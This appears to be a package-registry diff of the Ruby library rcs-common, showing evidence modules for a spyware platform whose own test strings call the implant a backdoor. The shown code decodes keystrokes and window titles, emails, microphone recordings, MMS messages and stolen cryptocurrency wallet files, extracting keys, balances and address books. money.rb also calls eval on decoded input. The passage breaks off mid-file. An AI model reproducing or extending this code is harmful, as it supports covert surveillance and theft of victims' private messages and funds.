rcs-common 9.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +49 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +1 -0
- data/Rakefile +27 -0
- data/lib/rcs-common.rb +21 -0
- data/lib/rcs-common/binary.rb +64 -0
- data/lib/rcs-common/cgi.rb +7 -0
- data/lib/rcs-common/component.rb +87 -0
- data/lib/rcs-common/crypt.rb +71 -0
- data/lib/rcs-common/deploy.rb +96 -0
- data/lib/rcs-common/diagnosticable.rb +136 -0
- data/lib/rcs-common/evidence.rb +261 -0
- data/lib/rcs-common/evidence/addressbook.rb +173 -0
- data/lib/rcs-common/evidence/application.rb +59 -0
- data/lib/rcs-common/evidence/calendar.rb +62 -0
- data/lib/rcs-common/evidence/call.rb +185 -0
- data/lib/rcs-common/evidence/camera.rb +25 -0
- data/lib/rcs-common/evidence/chat.rb +272 -0
- data/lib/rcs-common/evidence/clibpoard.rb +58 -0
- data/lib/rcs-common/evidence/command.rb +50 -0
- data/lib/rcs-common/evidence/common.rb +78 -0
- data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
- data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
- data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
- data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
- data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
- data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
- data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
- data/lib/rcs-common/evidence/device.rb +23 -0
- data/lib/rcs-common/evidence/download.rb +54 -0
- data/lib/rcs-common/evidence/exec.rb +0 -0
- data/lib/rcs-common/evidence/file.rb +129 -0
- data/lib/rcs-common/evidence/filesystem.rb +71 -0
- data/lib/rcs-common/evidence/info.rb +24 -0
- data/lib/rcs-common/evidence/keylog.rb +84 -0
- data/lib/rcs-common/evidence/mail.rb +237 -0
- data/lib/rcs-common/evidence/mic.rb +39 -0
- data/lib/rcs-common/evidence/mms.rb +36 -0
- data/lib/rcs-common/evidence/money.rb +676 -0
- data/lib/rcs-common/evidence/mouse.rb +62 -0
- data/lib/rcs-common/evidence/password.rb +60 -0
- data/lib/rcs-common/evidence/photo.rb +80 -0
- data/lib/rcs-common/evidence/position.rb +303 -0
- data/lib/rcs-common/evidence/print.rb +50 -0
- data/lib/rcs-common/evidence/screenshot.rb +53 -0
- data/lib/rcs-common/evidence/sms.rb +91 -0
- data/lib/rcs-common/evidence/url.rb +133 -0
- data/lib/rcs-common/fixnum.rb +48 -0
- data/lib/rcs-common/gridfs.rb +294 -0
- data/lib/rcs-common/heartbeat.rb +96 -0
- data/lib/rcs-common/keywords.rb +50 -0
- data/lib/rcs-common/mime.rb +65 -0
- data/lib/rcs-common/mongoid.rb +19 -0
- data/lib/rcs-common/pascalize.rb +62 -0
- data/lib/rcs-common/path_utils.rb +67 -0
- data/lib/rcs-common/resolver.rb +40 -0
- data/lib/rcs-common/rest.rb +17 -0
- data/lib/rcs-common/sanitize.rb +42 -0
- data/lib/rcs-common/serializer.rb +404 -0
- data/lib/rcs-common/signature.rb +141 -0
- data/lib/rcs-common/stats.rb +94 -0
- data/lib/rcs-common/symbolize.rb +10 -0
- data/lib/rcs-common/systemstatus.rb +136 -0
- data/lib/rcs-common/temporary.rb +13 -0
- data/lib/rcs-common/time.rb +24 -0
- data/lib/rcs-common/trace.rb +138 -0
- data/lib/rcs-common/trace.yaml +42 -0
- data/lib/rcs-common/updater/client.rb +354 -0
- data/lib/rcs-common/updater/dsl.rb +178 -0
- data/lib/rcs-common/updater/payload.rb +79 -0
- data/lib/rcs-common/updater/server.rb +126 -0
- data/lib/rcs-common/updater/shared_key.rb +55 -0
- data/lib/rcs-common/updater/tmp_dir.rb +13 -0
- data/lib/rcs-common/utf16le.rb +83 -0
- data/lib/rcs-common/version.rb +5 -0
- data/lib/rcs-common/winfirewall.rb +235 -0
- data/rcs-common.gemspec +64 -0
- data/spec/gridfs_spec.rb +637 -0
- data/spec/mongoid.yaml +6 -0
- data/spec/signature_spec.rb +105 -0
- data/spec/spec_helper.rb +22 -0
- data/spec/updater_spec.rb +80 -0
- data/tasks/deploy.rake +21 -0
- data/tasks/protect.rake +90 -0
- data/test/helper.rb +17 -0
- data/test/test_binary.rb +107 -0
- data/test/test_cgi.rb +14 -0
- data/test/test_crypt.rb +125 -0
- data/test/test_evidence.rb +52 -0
- data/test/test_evidence_manager.rb +119 -0
- data/test/test_fixnum.rb +35 -0
- data/test/test_keywords.rb +137 -0
- data/test/test_mime.rb +49 -0
- data/test/test_pascalize.rb +100 -0
- data/test/test_path_utils.rb +24 -0
- data/test/test_rcs-common.rb +7 -0
- data/test/test_sanitize.rb +40 -0
- data/test/test_serialization.rb +20 -0
- data/test/test_stats.rb +90 -0
- data/test/test_symbolize.rb +20 -0
- data/test/test_systemstatus.rb +35 -0
- data/test/test_time.rb +56 -0
- data/test/test_trace.rb +25 -0
- data/test/test_utf16le.rb +71 -0
- data/test/test_winfirewall.rb +68 -0
- metadata +423 -0
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
|
|
2
|
+
require 'rcs-common/evidence/common'
|
|
3
|
+
|
|
4
|
+
module RCS
|
|
5
|
+
|
|
6
|
+
module InfoEvidence
|
|
7
|
+
def content
|
|
8
|
+
"(ruby) Backdoor started.".to_utf16le_binary
|
|
9
|
+
end
|
|
10
|
+
|
|
11
|
+
def generate_content
|
|
12
|
+
[ content ]
|
|
13
|
+
end
|
|
14
|
+
|
|
15
|
+
def decode_content(common_info, chunks)
|
|
16
|
+
info = Hash[common_info]
|
|
17
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
18
|
+
info[:data][:content] = chunks.first.utf16le_to_utf8
|
|
19
|
+
yield info if block_given?
|
|
20
|
+
:delete_raw
|
|
21
|
+
end
|
|
22
|
+
end
|
|
23
|
+
|
|
24
|
+
end # RCS::
|
|
@@ -0,0 +1,84 @@
|
|
|
1
|
+
# encoding: utf-8
|
|
2
|
+
|
|
3
|
+
require 'rcs-common/trace'
|
|
4
|
+
require 'rcs-common/evidence/common'
|
|
5
|
+
|
|
6
|
+
module RCS
|
|
7
|
+
|
|
8
|
+
module KeylogEvidence
|
|
9
|
+
extend RCS::Tracer
|
|
10
|
+
|
|
11
|
+
ELEM_DELIMITER = 0xABADC0DE
|
|
12
|
+
KEYSTROKES = ["привет мир", "こんにちは世界", "Hello world!", "Ciao mondo!"]
|
|
13
|
+
|
|
14
|
+
def content
|
|
15
|
+
proc_name = ["ruby", "python", "go", "javascript", "c++", "java"].sample.to_utf16le_binary_null
|
|
16
|
+
window_name = ["Ruby Backdoor!", "Python Backdoor!", "Go Backdoor!", "Javascript Backdoor!", "C++ Backdoor!", "Java Backdoor!"].sample.to_utf16le_binary_null
|
|
17
|
+
content = StringIO.new
|
|
18
|
+
t = Time.now.getutc
|
|
19
|
+
content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
|
|
20
|
+
content.write proc_name
|
|
21
|
+
content.write window_name
|
|
22
|
+
content.write [ ELEM_DELIMITER ].pack('L')
|
|
23
|
+
keystrokes = KEYSTROKES.sample.to_utf16le_binary_null
|
|
24
|
+
content.write keystrokes
|
|
25
|
+
content.string
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
def generate_content
|
|
29
|
+
ret = Array.new
|
|
30
|
+
# insert first two bytes to null terminate the string
|
|
31
|
+
ret << [0].pack('S') + content()
|
|
32
|
+
10.rand_times { ret << content() }
|
|
33
|
+
ret
|
|
34
|
+
end
|
|
35
|
+
|
|
36
|
+
def decode_content(common_info, chunks)
|
|
37
|
+
|
|
38
|
+
stream = StringIO.new chunks.join
|
|
39
|
+
stream.read 2 # first 2 bytes of null termination (Naga weirdness ...)
|
|
40
|
+
|
|
41
|
+
until stream.eof?
|
|
42
|
+
|
|
43
|
+
tm = stream.read 36
|
|
44
|
+
timestamp = tm.unpack('l*')
|
|
45
|
+
|
|
46
|
+
#puts "STREAM POS #{stream.pos} SIZE #{stream.size}"
|
|
47
|
+
#puts "TIMESTAMP #{timestamp.inspect} OBJECT_ID #{self.object_id}"
|
|
48
|
+
|
|
49
|
+
info = Hash[common_info]
|
|
50
|
+
info[:da] = Time.gm(*timestamp, 0)
|
|
51
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
52
|
+
info[:data][:program] = ''
|
|
53
|
+
info[:data][:window] = ''
|
|
54
|
+
info[:data][:content] = ''
|
|
55
|
+
|
|
56
|
+
process_name = stream.read_utf16le_string
|
|
57
|
+
#trace :debug, "PROGRAM NAME UTF-16LE #{process_name}"
|
|
58
|
+
info[:data][:program] = process_name.utf16le_to_utf8 unless process_name.nil?
|
|
59
|
+
|
|
60
|
+
#trace :debug, "PROGRAM NAME UTF-8 #{info[:data][:program]}"
|
|
61
|
+
|
|
62
|
+
window_name = stream.read_utf16le_string
|
|
63
|
+
info[:data][:window] = window_name.utf16le_to_utf8 unless window_name.nil?
|
|
64
|
+
|
|
65
|
+
#trace :debug, "WINDOW NAME #{info[:data][:window]}"
|
|
66
|
+
|
|
67
|
+
delim = stream.read(4).unpack("L*").first
|
|
68
|
+
raise EvidenceDeserializeError.new("Malformed KEYLOG (missing delimiter)") unless delim == ELEM_DELIMITER
|
|
69
|
+
|
|
70
|
+
#trace :debug, "DELIM #{delim.to_s(16)}"
|
|
71
|
+
|
|
72
|
+
keystrokes = stream.read_utf16le_string
|
|
73
|
+
#trace :debug, "KEYSTROKES UTF-16LE #{keystrokes}"
|
|
74
|
+
info[:data][:content] = keystrokes.utf16le_to_utf8 unless keystrokes.nil?
|
|
75
|
+
|
|
76
|
+
#trace :debug, "KEYSTROKES UTF-8 #{info[:data][:content]}"
|
|
77
|
+
|
|
78
|
+
yield info if block_given?
|
|
79
|
+
end
|
|
80
|
+
:delete_raw
|
|
81
|
+
end
|
|
82
|
+
end
|
|
83
|
+
|
|
84
|
+
end # ::RCS
|
|
@@ -0,0 +1,237 @@
|
|
|
1
|
+
# encoding: UTF-8
|
|
2
|
+
|
|
3
|
+
require 'rcs-common/evidence/common'
|
|
4
|
+
require 'mail'
|
|
5
|
+
require 'cgi'
|
|
6
|
+
|
|
7
|
+
module RCS
|
|
8
|
+
module MailEvidence
|
|
9
|
+
|
|
10
|
+
MAIL_VERSION = 2009070301
|
|
11
|
+
MAIL_VERSION2 = 2012030601
|
|
12
|
+
|
|
13
|
+
MAIL_INCOMING = 0x00000010
|
|
14
|
+
MAIL_DRAFT = 0x00000100
|
|
15
|
+
|
|
16
|
+
PROGRAM_GMAIL = 0x00000000
|
|
17
|
+
PROGRAM_BB = 0x00000001
|
|
18
|
+
PROGRAM_ANDROID = 0x00000002
|
|
19
|
+
PROGRAM_THUNDERBIRD = 0x00000003
|
|
20
|
+
PROGRAM_OUTLOOK = 0x00000004
|
|
21
|
+
PROGRAM_MAIL = 0x00000005
|
|
22
|
+
PROGRAM_YAHOO = 0x00000006
|
|
23
|
+
|
|
24
|
+
ADDRESSES = ['ciccio.pasticcio@google.com', 'billg@microsoft.com', 'john.doe@nasa.gov', 'mario.rossi@italy.it']
|
|
25
|
+
SUBJECTS = ['drugs', 'bust me!', 'police here']
|
|
26
|
+
BODIES = ["You're busted, dude.", "I'm a drug trafficker, send me to hang!", "I'll sell meth to kids. Stop me."]
|
|
27
|
+
|
|
28
|
+
ARABIC = <<-EOF
|
|
29
|
+
|
|
30
|
+
MIME-Version: 1.0
|
|
31
|
+
Received: by 10.64.33.143 with HTTP; Mon, 1 Jul 2013 03:11:15 -0700 (PDT)
|
|
32
|
+
Date: Mon, 1 Jul 2013 12:11:15 +0200
|
|
33
|
+
Delivered-To: jimmypage1337@gmail.com
|
|
34
|
+
Message-ID: <CALdP1Uy44nQ-1Pfj1Po+uoUKbe5JMGDr-ZhpoHRVVkNQdOOV5w@mail.gmail.com>
|
|
35
|
+
Subject: Test
|
|
36
|
+
From: Jimmy Page <jimmypage1337@gmail.com>
|
|
37
|
+
To: Jimmy Page <jimmypage1337@gmail.com>
|
|
38
|
+
Content-Type: multipart/alternative; boundary=14dae947395bec30d304e0707250
|
|
39
|
+
|
|
40
|
+
--14dae947395bec30d304e0707250
|
|
41
|
+
Content-Type: text/plain; charset=UTF-8
|
|
42
|
+
Content-Transfer-Encoding: base64
|
|
43
|
+
|
|
44
|
+
2KrYtNi02LPZitiq2YXZhiDYqtmG2LTYp9iz2YbZiiDZh9i52LTYutiz2Yog2KfYqti02LPZitin
|
|
45
|
+
INmG2KrYtNiz2KfZitivDQrYtNiz2YXYqtmK2YYg2LTYs9mK2KrZhiDYtNmH2KTYudiz2YrZhNix
|
|
46
|
+
2YbYqg0K2LHYs9ix2LPZitix2YrYsw0K
|
|
47
|
+
--14dae947395bec30d304e0707250
|
|
48
|
+
Content-Type: text/html; charset=UTF-8
|
|
49
|
+
Content-Transfer-Encoding: base64
|
|
50
|
+
|
|
51
|
+
PGRpdiBkaXI9Imx0ciI+PGRpdiBkaXI9InJ0bCI+2KrYtNi02LPZitiq2YXZhiDYqtmG2LTYp9iz
|
|
52
|
+
2YbZiiDZh9i52LTYutiz2Yog2KfYqti02LPZitinINmG2KrYtNiz2KfZitivPGJyPjwvZGl2Pjxk
|
|
53
|
+
aXYgZGlyPSJydGwiPti02LPZhdiq2YrZhiDYtNiz2YrYqtmGINi02YfYpNi52LPZitmE2LHZhtiq
|
|
54
|
+
IDxicj7Ysdiz2LHYs9mK2LHZitizPGJyPjwvZGl2PjwvZGl2Pg0K
|
|
55
|
+
--14dae947395bec30d304e0707250--
|
|
56
|
+
EOF
|
|
57
|
+
|
|
58
|
+
|
|
59
|
+
def content
|
|
60
|
+
@email.to_s
|
|
61
|
+
end
|
|
62
|
+
|
|
63
|
+
def generate_content
|
|
64
|
+
[ content ]
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
def additional_header
|
|
68
|
+
binary = StringIO.new
|
|
69
|
+
|
|
70
|
+
@email = Mail.new do
|
|
71
|
+
from ADDRESSES.sample
|
|
72
|
+
to ADDRESSES.sample
|
|
73
|
+
subject SUBJECTS.sample
|
|
74
|
+
body BODIES.sample
|
|
75
|
+
end
|
|
76
|
+
|
|
77
|
+
#@email = ARABIC
|
|
78
|
+
|
|
79
|
+
ft_high, ft_low = Time.now.to_filetime
|
|
80
|
+
body = @email.to_s
|
|
81
|
+
add_header = [MAIL_VERSION2, 1 | MAIL_INCOMING, body.bytesize, ft_high, ft_low].pack("I*")
|
|
82
|
+
binary.write(add_header)
|
|
83
|
+
binary.write [[0,1,2].sample].pack('L')
|
|
84
|
+
|
|
85
|
+
binary.string
|
|
86
|
+
end
|
|
87
|
+
|
|
88
|
+
def decode_additional_header(data)
|
|
89
|
+
raise EvidenceDeserializeError.new("incomplete MAIL") if data.nil? or data.bytesize == 0
|
|
90
|
+
|
|
91
|
+
ret = Hash.new
|
|
92
|
+
ret[:data] = Hash.new
|
|
93
|
+
|
|
94
|
+
binary = StringIO.new data
|
|
95
|
+
|
|
96
|
+
# flags indica se abbiamo tutto il body o solo header
|
|
97
|
+
version, flags, size, ft_low, ft_high = binary.read(20).unpack('L*')
|
|
98
|
+
|
|
99
|
+
case version
|
|
100
|
+
when MAIL_VERSION
|
|
101
|
+
ret[:data][:program] = 'outlook'
|
|
102
|
+
when MAIL_VERSION2
|
|
103
|
+
program = binary.read(4).unpack('L').first
|
|
104
|
+
|
|
105
|
+
case program
|
|
106
|
+
when PROGRAM_GMAIL
|
|
107
|
+
ret[:data][:program] = 'gmail'
|
|
108
|
+
when PROGRAM_BB
|
|
109
|
+
ret[:data][:program] = 'blackberry'
|
|
110
|
+
when PROGRAM_ANDROID
|
|
111
|
+
ret[:data][:program] = 'android'
|
|
112
|
+
when PROGRAM_THUNDERBIRD
|
|
113
|
+
ret[:data][:program] = 'thunderbird'
|
|
114
|
+
when PROGRAM_OUTLOOK
|
|
115
|
+
ret[:data][:program] = 'outlook'
|
|
116
|
+
when PROGRAM_MAIL
|
|
117
|
+
ret[:data][:program] = 'mail'
|
|
118
|
+
when PROGRAM_YAHOO
|
|
119
|
+
ret[:data][:program] = 'yahoo'
|
|
120
|
+
else
|
|
121
|
+
ret[:data][:program] = 'unknown'
|
|
122
|
+
end
|
|
123
|
+
# direction of the mail
|
|
124
|
+
ret[:data][:incoming] = (flags & MAIL_INCOMING != 0) ? 1 : 0
|
|
125
|
+
ret[:data][:draft] = true if (flags & MAIL_DRAFT != 0)
|
|
126
|
+
else
|
|
127
|
+
raise EvidenceDeserializeError.new("invalid log version for MAIL")
|
|
128
|
+
end
|
|
129
|
+
|
|
130
|
+
#trace :debug, ret[:data].inspect
|
|
131
|
+
|
|
132
|
+
ret[:data][:size] = size
|
|
133
|
+
return ret
|
|
134
|
+
end
|
|
135
|
+
|
|
136
|
+
def decode_content(common_info, chunks)
|
|
137
|
+
info = Hash[common_info]
|
|
138
|
+
info[:data] ||= Hash.new
|
|
139
|
+
info[:data][:type] = :mail
|
|
140
|
+
|
|
141
|
+
# this is the raw content of the mail
|
|
142
|
+
# save it as is in the grid
|
|
143
|
+
eml = chunks.join
|
|
144
|
+
|
|
145
|
+
# special case for outlook (live) mail that are html encoded
|
|
146
|
+
eml = CGI.unescapeHTML(eml) if info[:data][:program].eql? 'outlook'
|
|
147
|
+
|
|
148
|
+
info[:grid_content] = eml
|
|
149
|
+
|
|
150
|
+
# parse the mail to extract information
|
|
151
|
+
m = Mail.read_from_string eml
|
|
152
|
+
|
|
153
|
+
#trace :debug, "MAIL: EML size: #{eml.size}"
|
|
154
|
+
#trace :debug, "MAIL: EML: #{eml}"
|
|
155
|
+
#trace :debug, "MAIL: From: #{m.from.inspect}"
|
|
156
|
+
#trace :debug, "MAIL: Rcpt: #{m.to.inspect}"
|
|
157
|
+
#trace :debug, "MAIL: CC: #{m.cc.inspect}"
|
|
158
|
+
#trace :debug, "MAIL: Subject: #{m.subject.inspect}"
|
|
159
|
+
|
|
160
|
+
info[:data][:from] = parse_address(m.from)
|
|
161
|
+
info[:data][:rcpt] = parse_address(m.to)
|
|
162
|
+
info[:data][:cc] = parse_address(m.cc)
|
|
163
|
+
|
|
164
|
+
if m.subject
|
|
165
|
+
info[:data][:subject] = m.subject.dup
|
|
166
|
+
info[:data][:subject].safe_utf8_encode_invalid
|
|
167
|
+
end
|
|
168
|
+
|
|
169
|
+
#trace :debug, "MAIL: multipart #{m.multipart?} parts size: #{m.parts.size}"
|
|
170
|
+
#trace :debug, "MAIL: parts #{m.parts.inspect}"
|
|
171
|
+
#trace :debug, "MAIL: body: #{m.body}"
|
|
172
|
+
|
|
173
|
+
# extract body from multipart mail
|
|
174
|
+
body = parse_multipart(m.parts) if m.multipart?
|
|
175
|
+
|
|
176
|
+
# if not multipart, take body
|
|
177
|
+
body ||= {}
|
|
178
|
+
body['text/plain'] ||= m.body.decoded.safe_utf8_encode unless m.body.nil?
|
|
179
|
+
|
|
180
|
+
#trace :debug, "MAIL: text/plain #{body['text/plain']}"
|
|
181
|
+
#trace :debug, "MAIL: text/html #{body['text/html']}"
|
|
182
|
+
|
|
183
|
+
if body.has_key? 'text/html'
|
|
184
|
+
info[:data][:body] = body['text/html']
|
|
185
|
+
else
|
|
186
|
+
info[:data][:body] = body['text/plain']
|
|
187
|
+
info[:data][:body] ||= 'Content of this mail cannot be decoded.'
|
|
188
|
+
end
|
|
189
|
+
|
|
190
|
+
#trace :debug, "MAIL: body: #{info[:data][:body]}"
|
|
191
|
+
|
|
192
|
+
info[:data][:attach] = m.attachments.length if m.attachments.length > 0
|
|
193
|
+
|
|
194
|
+
date = m.date.to_time unless m.date.nil?
|
|
195
|
+
date ||= Time.now
|
|
196
|
+
info[:data][:date] = date.getutc
|
|
197
|
+
info[:da] = date.getutc
|
|
198
|
+
|
|
199
|
+
info[:data][:date] = info[:data][:date].to_time if info[:data][:date].is_a? DateTime
|
|
200
|
+
info[:da] = info[:da].to_time if info[:da].is_a? DateTime
|
|
201
|
+
|
|
202
|
+
yield info if block_given?
|
|
203
|
+
:delete_raw
|
|
204
|
+
end
|
|
205
|
+
|
|
206
|
+
def parse_multipart(parts)
|
|
207
|
+
content_types = parts.map { |p| p.content_type.split(';')[0] }
|
|
208
|
+
body = {}
|
|
209
|
+
content_types.each_with_index do |ct, i|
|
|
210
|
+
if parts[i].multipart?
|
|
211
|
+
body = parse_multipart(parts[i].parts)
|
|
212
|
+
else
|
|
213
|
+
body[ct] = parts[i].body.decoded.safe_utf8_encode
|
|
214
|
+
end
|
|
215
|
+
end
|
|
216
|
+
body
|
|
217
|
+
end
|
|
218
|
+
|
|
219
|
+
def parse_address(addresses)
|
|
220
|
+
return "" if addresses.nil?
|
|
221
|
+
|
|
222
|
+
address = ''
|
|
223
|
+
|
|
224
|
+
# it's already a string
|
|
225
|
+
address = addresses if addresses.is_a? String
|
|
226
|
+
|
|
227
|
+
# join the array of multiple addresses
|
|
228
|
+
if addresses.is_a? Array
|
|
229
|
+
address = addresses.join(", ")
|
|
230
|
+
end
|
|
231
|
+
|
|
232
|
+
address.safe_utf8_encode
|
|
233
|
+
end
|
|
234
|
+
|
|
235
|
+
end # ::Mail
|
|
236
|
+
|
|
237
|
+
end # ::RCS
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
require_relative 'common'
|
|
2
|
+
require 'rcs-common/serializer'
|
|
3
|
+
|
|
4
|
+
module RCS
|
|
5
|
+
module MicEvidence
|
|
6
|
+
|
|
7
|
+
MIC_LOG_VERSION = 2008121901
|
|
8
|
+
|
|
9
|
+
def decode_additional_header(data)
|
|
10
|
+
|
|
11
|
+
raise EvidenceDeserializeError.new("incomplete evidence") if data.nil? or data.bytesize == 0
|
|
12
|
+
|
|
13
|
+
stream = StringIO.new data
|
|
14
|
+
|
|
15
|
+
ret = Hash.new
|
|
16
|
+
ret[:data] = Hash.new
|
|
17
|
+
|
|
18
|
+
version = read_uint32 stream
|
|
19
|
+
raise EvidenceDeserializeError.new("invalid log version for voice call") unless version == MIC_LOG_VERSION
|
|
20
|
+
|
|
21
|
+
ret[:data][:sample_rate] = read_uint32 stream
|
|
22
|
+
low, high = stream.read(8).unpack 'V2'
|
|
23
|
+
ret[:data][:mic_id] = Time.from_filetime high, low
|
|
24
|
+
|
|
25
|
+
return ret
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
def decode_content(common_info, chunks)
|
|
29
|
+
stream = StringIO.new chunks.join
|
|
30
|
+
|
|
31
|
+
info = Hash[common_info]
|
|
32
|
+
info[:data] ||= Hash.new
|
|
33
|
+
|
|
34
|
+
info[:data][:grid_content] = chunks.join
|
|
35
|
+
yield info if block_given?
|
|
36
|
+
:keep_raw
|
|
37
|
+
end
|
|
38
|
+
end # ::CalendarEvidence
|
|
39
|
+
end # ::RCS
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
require_relative 'common'
|
|
2
|
+
require 'rcs-common/serializer'
|
|
3
|
+
|
|
4
|
+
module RCS
|
|
5
|
+
module MmsEvidence
|
|
6
|
+
def content
|
|
7
|
+
raise "Not implemented!"
|
|
8
|
+
end
|
|
9
|
+
|
|
10
|
+
def generate_content
|
|
11
|
+
raise "Not implemented!"
|
|
12
|
+
end
|
|
13
|
+
|
|
14
|
+
def decode_content(common_info, chunks)
|
|
15
|
+
|
|
16
|
+
info = Hash[common_info]
|
|
17
|
+
info[:data] ||= Hash.new
|
|
18
|
+
info[:data][:type] = :mms
|
|
19
|
+
|
|
20
|
+
stream = StringIO.new chunks.join
|
|
21
|
+
@mms = MAPISerializer.new.unserialize stream
|
|
22
|
+
|
|
23
|
+
info[:da] = @mms.delivery_time
|
|
24
|
+
|
|
25
|
+
info[:data][:from] = @mms.fields[:from].delete("\x00")
|
|
26
|
+
info[:data][:rcpt] = @mms.fields[:rcpt].delete("\x00")
|
|
27
|
+
|
|
28
|
+
info[:data][:subject] = @mms.fields[:subject]
|
|
29
|
+
info[:data][:content] = @mms.fields[:text_body]
|
|
30
|
+
info[:data][:incoming] = @mms.flags
|
|
31
|
+
|
|
32
|
+
yield info if block_given?
|
|
33
|
+
:keep_raw
|
|
34
|
+
end
|
|
35
|
+
end # ::MmsEvidence
|
|
36
|
+
end # ::RCS
|
|
@@ -0,0 +1,676 @@
|
|
|
1
|
+
require 'rcs-common/evidence/common'
|
|
2
|
+
|
|
3
|
+
require 'digest'
|
|
4
|
+
require 'sbdb'
|
|
5
|
+
require 'bdb'
|
|
6
|
+
require 'set'
|
|
7
|
+
|
|
8
|
+
module RCS
|
|
9
|
+
|
|
10
|
+
module MoneyEvidence
|
|
11
|
+
|
|
12
|
+
MONEY_VERSION = 2014010101
|
|
13
|
+
|
|
14
|
+
TYPES = {:bitcoin => 0x00,
|
|
15
|
+
:litecoin => 0x30,
|
|
16
|
+
:feathercoin => 0x0E,
|
|
17
|
+
:darkcoin => 0x6F,
|
|
18
|
+
:namecoin => 0x34}
|
|
19
|
+
|
|
20
|
+
PROGRAM_BITCOIN = {:bitcoin_qt => 0x00}
|
|
21
|
+
PROGRAM_LITECOIN = {:litecoin_qt => 0x00}
|
|
22
|
+
PROGRAM_DARKCOIN = {:darkcoin => 0x6F}
|
|
23
|
+
PROGRAM_FEATHERCOIN = {:feathercoin_qt => 0x00}
|
|
24
|
+
PROGRAM_NAMECOIN = {:namecoin_qt => 0x00}
|
|
25
|
+
|
|
26
|
+
def content
|
|
27
|
+
path = File.join(File.dirname(__FILE__), 'content/coin/wallet_lite.dat')
|
|
28
|
+
File.open(path, 'rb') {|f| f.read }
|
|
29
|
+
end
|
|
30
|
+
|
|
31
|
+
def generate_content
|
|
32
|
+
[ content ]
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
def additional_header
|
|
36
|
+
file_name = '~/Library/Application Support/Litecoin/wallet.dat'.to_utf16le_binary
|
|
37
|
+
header = StringIO.new
|
|
38
|
+
header.write [MONEY_VERSION].pack("I")
|
|
39
|
+
header.write [TYPES[:litecoin]].pack("I")
|
|
40
|
+
header.write [0].pack("I")
|
|
41
|
+
header.write [file_name.size].pack("I")
|
|
42
|
+
header.write file_name
|
|
43
|
+
|
|
44
|
+
header.string
|
|
45
|
+
end
|
|
46
|
+
|
|
47
|
+
def decode_additional_header(data)
|
|
48
|
+
raise EvidenceDeserializeError.new("incomplete MONEY") if data.nil? or data.bytesize == 0
|
|
49
|
+
|
|
50
|
+
binary = StringIO.new data
|
|
51
|
+
|
|
52
|
+
version, type, program, file_name_len = binary.read(16).unpack("I*")
|
|
53
|
+
raise EvidenceDeserializeError.new("invalid log version for MONEY") unless version == MONEY_VERSION
|
|
54
|
+
|
|
55
|
+
ret = Hash.new
|
|
56
|
+
ret[:data] = Hash.new
|
|
57
|
+
ret[:data][:currency] = TYPES.invert[type]
|
|
58
|
+
ret[:data][:program] = eval("PROGRAM_#{ret[:data][:currency].to_s.upcase}").invert[program].to_s
|
|
59
|
+
ret[:data][:path] = binary.read(file_name_len).utf16le_to_utf8
|
|
60
|
+
return ret
|
|
61
|
+
end
|
|
62
|
+
|
|
63
|
+
def decode_content(common_info, chunks)
|
|
64
|
+
info = Hash[common_info]
|
|
65
|
+
info[:data] = Hash.new if info[:data].nil?
|
|
66
|
+
|
|
67
|
+
binary_wallet = chunks.join
|
|
68
|
+
|
|
69
|
+
info[:grid_content] = binary_wallet
|
|
70
|
+
info[:data][:size] = info[:grid_content].bytesize
|
|
71
|
+
|
|
72
|
+
# dump the wallet to a temporary file
|
|
73
|
+
temp = RCS::DB::Config.instance.temp(SecureRandom.urlsafe_base64(10))
|
|
74
|
+
File.open(temp, 'wb') {|d| d.write binary_wallet}
|
|
75
|
+
|
|
76
|
+
coin = info[:data][:currency]
|
|
77
|
+
# all the parsing is done here
|
|
78
|
+
cw = CoinWallet.new(temp, coin)
|
|
79
|
+
|
|
80
|
+
# remove temporary
|
|
81
|
+
FileUtils.rm_rf temp
|
|
82
|
+
|
|
83
|
+
trace :debug, "WALLET: #{info[:data][:currency]} #{cw.version} #{cw.encrypted?} #{cw.balance}"
|
|
84
|
+
|
|
85
|
+
info[:data][:type] = :wallet
|
|
86
|
+
info[:data][:version] = cw.version
|
|
87
|
+
info[:data][:encrypted] = cw.encrypted?
|
|
88
|
+
info[:data][:balance] = cw.balance
|
|
89
|
+
info[:data][:content] = ''
|
|
90
|
+
cw.keys.each do |k|
|
|
91
|
+
info[:data][:content] += "Name: #{k[:name]}\n Key: #{k[:address]}\n\n"
|
|
92
|
+
end
|
|
93
|
+
|
|
94
|
+
# output the first evidence that contains the whole wallet
|
|
95
|
+
yield info if block_given?
|
|
96
|
+
|
|
97
|
+
# output the addressbook entries
|
|
98
|
+
address_info = Hash[common_info]
|
|
99
|
+
address_info[:type] = :addressbook
|
|
100
|
+
|
|
101
|
+
cw.addressbook.each do |k|
|
|
102
|
+
trace :debug, "WALLET: address #{k.inspect}"
|
|
103
|
+
info = Hash[address_info]
|
|
104
|
+
info[:data] = {}
|
|
